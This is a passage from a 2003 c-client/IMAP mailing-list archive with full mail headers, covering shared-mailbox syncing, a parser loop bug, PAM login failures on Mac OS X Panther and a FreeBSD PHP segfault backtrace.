cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 06:20:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hACEJYop014466; Wed, 12 Nov 2003 06:19:34 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEIphW018940 for ; Wed, 12 Nov 2003 06:18:51 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEIopX021166 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 06:18:50 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEIeMk006483; Wed, 12 Nov 2003 06:18:40 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEIRx0024747 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 12 Nov 2003 06:18:36 -0800 Message-Id: Date: Wed, 12 Nov 2003 08:18:26 -0600 (Central Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jess Nielsen Cc: c-client@u.washington.edu Subject: Re: Total refresh of the stream In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Nov 2003, Jess Nielsen wrote: > My problem is that I have to different sessions accessing the same > mailbox. There is almost no legitimate reason to do that. IMAP is not HTTP. It's not going to be "more efficient"; nor is it going to be "faster". IMAP servers are typically I/O bound, not CPU bound. Either they are I/O bound on the network to/from your client, or are I/O bound to the disk on the mail data. Either way, a second server session on the same mailbox from the same client isn't going to gain anything. What's more, some mail stores do not permit multiple opens on the same mailbox, and either deny a second open or kill the previous open. So, you end up doing battle with yourself. > When one of the sessions are deleting mails in the mailbox the other > session still holds the data for theese deleted messages, which means > that cache does not contain the same data as the store/mailbox. > I would like to force an update of the stream/cache to make sure that both > the store and cache will be in sync. mail_ping(), or in extreme circumstances mail_check(), is all that you need to ensure that both sessions are in sync. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Nov 12 06:31:58 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 06:31:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEVvNL023106 for ; Wed, 12 Nov 2003 06:31:57 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEVupd016526 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 06:31:56 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hACEV2Fe014274; Wed, 12 Nov 2003 06:31:02 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEU2hW018934 for ; Wed, 12 Nov 2003 06:30:02 -0800 Received: from dk10.ementor.dk ([194.192.21.239]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACETxpW022672 for ; Wed, 12 Nov 2003 06:30:00 -0800 Received: from dk14.dk.ementor.dom (unverified) by dk10.ementor.dk (Content Technologies SMTPRS 4.3.6) with ESMTP id for ; Wed, 12 Nov 2003 15:34:41 +0100 Message-Id: Date: Wed, 12 Nov 2003 15:30:03 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jess Nielsen To: c-client@u.washington.edu Subject: Re: Total refresh of the stream MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MIMETrack: Serialize by Router on DK14/Ementor(Release 6.0.3|September 26, 2003) at 12-11-2003 15:30:03, Serialize complete at 12-11-2003 15:30:03 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__CT, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >> My problem is that I have to different sessions >> accessing the same mailbox. > There is almost no legitimate reason to do that. > IMAP is not HTTP. If two users are sharing the same mailbox (read: each of them starts the app and use the same user) then you will have this setup. > mail_ping(), or in extreme circumstances mail_check(), > is all that you need to ensure that both sessions > are in sync. I did already try both mail_ping() and mail_check() without any luck. Regards, Jess From pinedev@shivax2.cac.washington.edu Wed Nov 12 06:52:27 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 12 Nov 2003 06:52:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEqQNL023674 for ; Wed, 12 Nov 2003 06:52:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEqPCk012732 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 06:52:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hACEohFe011998; Wed, 12 Nov 2003 06:50:43 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEnlhW018928 for ; Wed, 12 Nov 2003 06:49:47 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEnkFY017643 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 12 Nov 2003 06:49:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEniMk007733; Wed, 12 Nov 2003 06:49:44 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hACEnTSS026115 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 12 Nov 2003 06:49:39 -0800 Message-Id: Date: Wed, 12 Nov 2003 08:49:28 -0600 (Central Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jess Nielsen Cc: c-client@u.washington.edu Subject: Re: Total refresh of the stream In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 12 Nov 2003, Jess Nielsen wrote: > If two users are sharing the same mailbox (read: each > of them starts the app and use the same user) then you will have this > setup. That's why I said "almost no legitimate reason" instead of "no legitimate reason." The case you mentioned is one of the few exceptions. Note, however, that if the mail store does not support simultaneous access, then you can't do this. If two users attempt to do this, the result is that one user will win and one user will lose. The only answer in that situation is "don't do it." > I did already try both mail_ping() and mail_check() without any luck. If the mail store supports shared access (e.g. UW imapd with mbx format, Cyrus server), then mail_ping() or mail_check() is all that is needed. If the mail store does not support shared access (e.g. UW imapd with traditional UNIX format), then either the second session was denied or the first session was closed (and the stream is dead; this is what UW imapd does with traditional UNIX format). The recovery for the latter "last session wins" behavior is to re-open the session and forget everything that you knew about the previous session; that in turn will cause the other session to get killed which means that it'll have to recover by re-opening which will kill.... [See the problem? Hence the answer of "don't do it"...] One of the above two scenarios will apply to all compliant servers. If neither of these situations seems to apply, then perhaps you are using a non-compliant server. In that case, the answer is "don't use that server"; or, if you prefer, "there's no hope of winning with a broken server." Which server are you using? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Nov 17 12:07:59 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Nov 2003 12:07:59 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAHK7xNL019499 for ; Mon, 17 Nov 2003 12:07:59 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAHK7vCk023148 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 17 Nov 2003 12:07:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAHK5oop014308; Mon, 17 Nov 2003 12:05:51 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAHK4EuL013636 for ; Mon, 17 Nov 2003 12:04:14 -0800 Received: from exchangesvr.dataviz.com (smtpout.dataviz.com [199.186.148.149]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAHK4C0T015812 for ; Mon, 17 Nov 2003 12:04:13 -0800 Message-Id: <6E8684E4599D4B41BB93DB3905E7066C02DD5012@exchangesvr.dataviz.com> Date: Mon, 17 Nov 2003 15:05:08 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Sebastian Voges" To: Subject: rfc822_parse_content() hang content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CTE, __CTYPE_CHARSET_QUOTED, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __IMS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I am experiencing problems downloading an email from a POP server using imap2002e library. As far as I can tell now the code is looping in rfc822.c rfc822_parse_content() using up 50% of my cpu To prevent the hang we are detecting this loop in rfc822_parse_content() and forcing the code to exit() out: case TYPETEXT: /* text content */ if (!body->parameter) { /* default parameters */ body->parameter =3D mail_newbody_parameter (); body->parameter->attribute =3D cpystr ("CHARSET"); body->parameter->value =3D cpystr ("US-ASCII"); } /* count number of lines */ while (i--) { if ((SNX (bs)) =3D=3D '\n') body->size.lines++; if ( i > bs->size ) { // this should not happen... // GOAL: Here, some users force the c-client lib // to hang forever (but the process gets killed // by apache). // NOTE: I used exit() to flush the log buffers. mm_fatal("Content length broken"); exit(1); } } break; The problem is that in the lines before body->size.bytes =3D body->contents.text.size =3D i =3D SIZE (bs); SIZE(bs) returned 0xfffffffd.=20 Exit() was a first shot to detect this problem, as a first workaround I could probably just break out of the while loop, and continue. Is this safe to do? Right now I am debugging the code to see what caused the offsets to be incorrect. Any input on this or if this even is a known issue will be appreciated :-)=20 Best regards, Sebastian Voges -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 17 16:23:05 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 17 Nov 2003 16:23:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0N4NL001973 for ; Mon, 17 Nov 2003 16:23:04 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0N2pd003430 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 17 Nov 2003 16:23:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAI0Lp1r014078; Mon, 17 Nov 2003 16:21:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0JMuL013398 for ; Mon, 17 Nov 2003 16:19:22 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0JD5J024336 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 17 Nov 2003 16:19:14 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0JBC2020801; Mon, 17 Nov 2003 16:19:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAI0JBx0003359 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 17 Nov 2003 16:19:11 -0800 Message-Id: Date: Mon, 17 Nov 2003 16:20:26 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sebastian Voges Cc: c-client@u.washington.edu Subject: Re: rfc822_parse_content() hang In-Reply-To: <6E8684E4599D4B41BB93DB3905E7066C02DD5012@exchangesvr.dataviz.com> References: <6E8684E4599D4B41BB93DB3905E7066C02DD5012@exchangesvr.dataviz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='CALL_FREE, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you would send me a mailbox with the offending message, I will take a look at it. Basically, you are telling me that the body part being parsed is 2 bytes beyond the end of the message. How are you using c-client? Are you calling the rfc822 routines directly, or are you using mail_fetch_structure(), etc.? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 21 02:57:35 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Nov 2003 02:57:35 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALAvYNL019351 for ; Fri, 21 Nov 2003 02:57:34 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALAvX5B023863 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 21 Nov 2003 02:57:33 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hALAuT1r016370; Fri, 21 Nov 2003 02:56:29 -0800 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALAseuL016414 for ; Fri, 21 Nov 2003 02:54:40 -0800 Received: from athalia.bayswaterfarm.com (ariodante.bayswaterfarm.com [217.169.11.204]) by mxu9.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALAsauX017959 for ; Fri, 21 Nov 2003 02:54:36 -0800 Received: from theodora.bayswaterfarm.com ([217.169.11.202]) by athalia.bayswaterfarm.com with esmtp (Exim 4.24) id HOP7MZ-0003MW-2N for c-client@u.washington.edu; Fri, 21 Nov 2003 10:54:35 +0000 Message-Id: <2147483647.1069412074@theodora.bayswaterfarm.com> Date: Fri, 21 Nov 2003 10:54:34 +0000 Reply-To: Chris Bunch Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Bunch To: c-client@u.washington.edu Subject: Re: Second patch for imapd under Panther MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report='LINES_OF_YELLING 0.212, QUOTED_EMAIL_TEXT -0.832' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This builds fine omm under Mac OSX 10.3 Panther with "make oxp PASSWDTYPE=pam SSLTYPE=unix SSLDIR=/usr" (SSLTYPE=unix because I need both standard port 143 access locally and SSL for remote access: this is working fine on MacOS X 10.2 Jaguar)) I can connect fine via 143 but it doesn't authenticate login: [theodora:~] cb% telnet 192.168.1.8 143 Trying 192.168.1.8... Connected to 192.168.1.8. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] athalia IMAP4rev1 2003.343 at Fri, 21 Nov 2003 10:37:04 +0000 (GMT) . login cb pwd . NO LOGIN failed My mail client also gets an invalid account ID or password rejection when trying with SSL. I must be missing something...? C ___________________________ --On Thursday, October 30, 2003 7:04 pm -0800 Mark Crispin wrote: > Hi Tom - > > I've already done something similar in the latest imap-2003 development > tarball. Could you make sure that > ftp://ftp.cac.washington.edu/mail/imap-2003.DEV.tar.Z > builds properly for you using the new "oxp" port ("OSX with PAM")? > > The reason why I spawned a new port is that I am concerned that the PAM > version might not build under the previous version. > > Thanks, > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 21 08:35:17 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Nov 2003 08:35:17 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGZHNL029936 for ; Fri, 21 Nov 2003 08:35:17 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGZF5B032621 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 21 Nov 2003 08:35:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hALGW4Fe008818; Fri, 21 Nov 2003 08:32:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGUwuL021592 for ; Fri, 21 Nov 2003 08:30:58 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGUvLm005267 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 21 Nov 2003 08:30:57 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGUrFn024936; Fri, 21 Nov 2003 08:30:54 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hALGUrcs018352; Fri, 21 Nov 2003 08:30:53 -0800 Message-Id: Date: Fri, 21 Nov 2003 08:30:53 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Bunch Cc: c-client@u.washington.edu Subject: Re: Second patch for imapd under Panther In-Reply-To: <2147483647.1069412074@theodora.bayswaterfarm.com> References: <2147483647.1069412074@theodora.bayswaterfarm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='REFERENCES 0, QUOTED_EMAIL_TEXT -0.832, IN_REP_TO -0.847, EMAIL_ATTRIBUTION -1.628' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 21 Nov 2003, Chris Bunch wrote: > This builds fine omm under Mac OSX 10.3 Panther with "make oxp > PASSWDTYPE=pam SSLTYPE=unix SSLDIR=/usr" If you use "make oxp" you do not need "PASSWDTYPE=pam". Why do you think you need SSLDIR=/usr ? > (SSLTYPE=unix because I need both standard port 143 access locally and SSL > for remote access: this is working fine on MacOS X 10.2 Jaguar)) If you use a good quality IMAP client, it will negotiate TLS on port 143 and you would not need SSLTYPE=unix. SSLTYPE=unix is unsafe since if anyone installs a sniffer on your network they can steal passwords. > I can connect fine via 143 but it doesn't authenticate login: Did you set up PAM for IMAP? You need an /etc/pam.d/imap (or whatever MacOS uses). Note that I am not a MacOS expert. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Nov 22 03:56:17 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 22 Nov 2003 03:56:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAMBuCNL008026 for ; Sat, 22 Nov 2003 03:56:12 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAMBuA3F008022 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 22 Nov 2003 03:56:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id hAMBt71r016076; Sat, 22 Nov 2003 03:55:07 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAMBrbuL027346 for ; Sat, 22 Nov 2003 03:53:37 -0800 Received: from smtp.hotbox.ru (smtp.hotbox.ru [80.68.244.50]) by mxu8.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id hAMBrTb3004918 for ; Sat, 22 Nov 2003 03:53:35 -0800 Received: from mik ([62.69.4.38]) (authenticated bits=0) by smtp.hotbox.ru (8.12.9/8.12.9) with ESMTP id hAMBq3WW035359 for ; Sat, 22 Nov 2003 14:52:04 +0300 (MSK) (envelope-from sora@mail333.com) Message-Id: <77522452281.20031122155113@mail333.com> Date: Sat, 22 Nov 2003 15:51:13 +0400 Reply-To: Sorrow Angel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sorrow Angel To: c-client@u.washington.edu Subject: php + imap troble MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 1.023, SIGNATURE_SHORT_DENSE -0.301' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Description: ------------ On RHL7.3 Apache2.0.44 PHP4.3.4 (cclient - do not remember version)- is work fine. Changing OS & soft on freeBSD, Apache2.0.48, 4.3.4, cclient-2002d,1 not work: script terminated after 30s (in my news group 5 messages) and in apache error log this: child pid 21979 exit signal Segmentation fault (11) Such an error comes on 4.9 + Apache 1.3.29 + cclient-(all version) php-4.3.x (as mod_php & as CLI). Such an error appears on FREBSD ONLY!!! How can it be done away? Reproduce code: --------------- \n
  • ".$headers[$val - 1]."\n"; }else if($tree[1]=="branch"){ print "\n"; } } imap_close($nntp); ?> I think, but this bug not in PHP. I am try this action with any other version Apache (1.3.29, 2.0.48), UW IMAP, etc. The result is same. It works on RHL8, Windows(2000,XP), bot doesnt work on FreeBSD 5.1(p10). CLI imap_thread works as it has to. But when call this function, and if PHP works as Apache2 module - Apache2 goes to core (child pid 43381 exit signal Segmentation fault (11)). Apache2 not threaded. All is compiled using keys CFLAGS=-O -pipe, COPTFLAGS=-O -pipe PHP configure line: ------------------- --exec-prefix=/usr/local/php --with-apxs(2) --enable-debug --with-config-file-path=/usr/local/etc --with-imap GDB backtrace: -------------- #0 0x2859c7d3 in mail_thresd_references () from /usr/local/lib/libc-client4.so.8 #1 0x2859bcf7 in mail_thread_msgs () from /usr/local/lib/libc-client4.so.8 #2 0x285ae7c5 in nntp_thread () from /usr/local/lib/libc-client4.so.8 #3 0x2859bc31 in mail_thread () from /usr/local/lib/libc-client4.so.8 #4 0x284161a6 in zif_mail_thread (ht=1, return_value=0x8172164, this_ptr=0x0, return_value_used=1) at /home/trn/php-4.3.4RC3/ext/imap/php_imap.c:3991 #5 0x2852361e in execute (op_array=0x816b424) at /home/trn/php-4.3.4RC3/Zend/zend_execute.c:1616 #6 0x28511ec1 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/trn/php-4.3.4RC3/Zend/zend.c:884 #7 0x284db443 in php_execute_script (primary_file=0xbfbff920) at /home/trn/php-4.3.4RC3/main/main.c:1729 #8 0x285295b6 in php_handler (r=0x8163050) at /home/trn/php-4.3.4RC3/sapi/apache2handler/sapi_apache2.c:537 #9 0x08065239 in ap_run_handler () #10 0x08065844 in ap_invoke_handler () #11 0x08062049 in ap_process_request () #12 0x0805d107 in ap_process_http_connection () #13 0x0806f1e9 in ap_run_process_connection () #14 0x0806f50e in ap_process_connection () #15 0x0806397b in child_main () #16 0x08063a4c in makr_child () #17 0x08063b92 in startup_children () #18 0x08063f66 in ap_mpm_run () #19 0x0806aa66 in main () #20 0x0805cc15 in _start () -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Nov 23 06:25:18 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 Nov 2003 06:25:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id 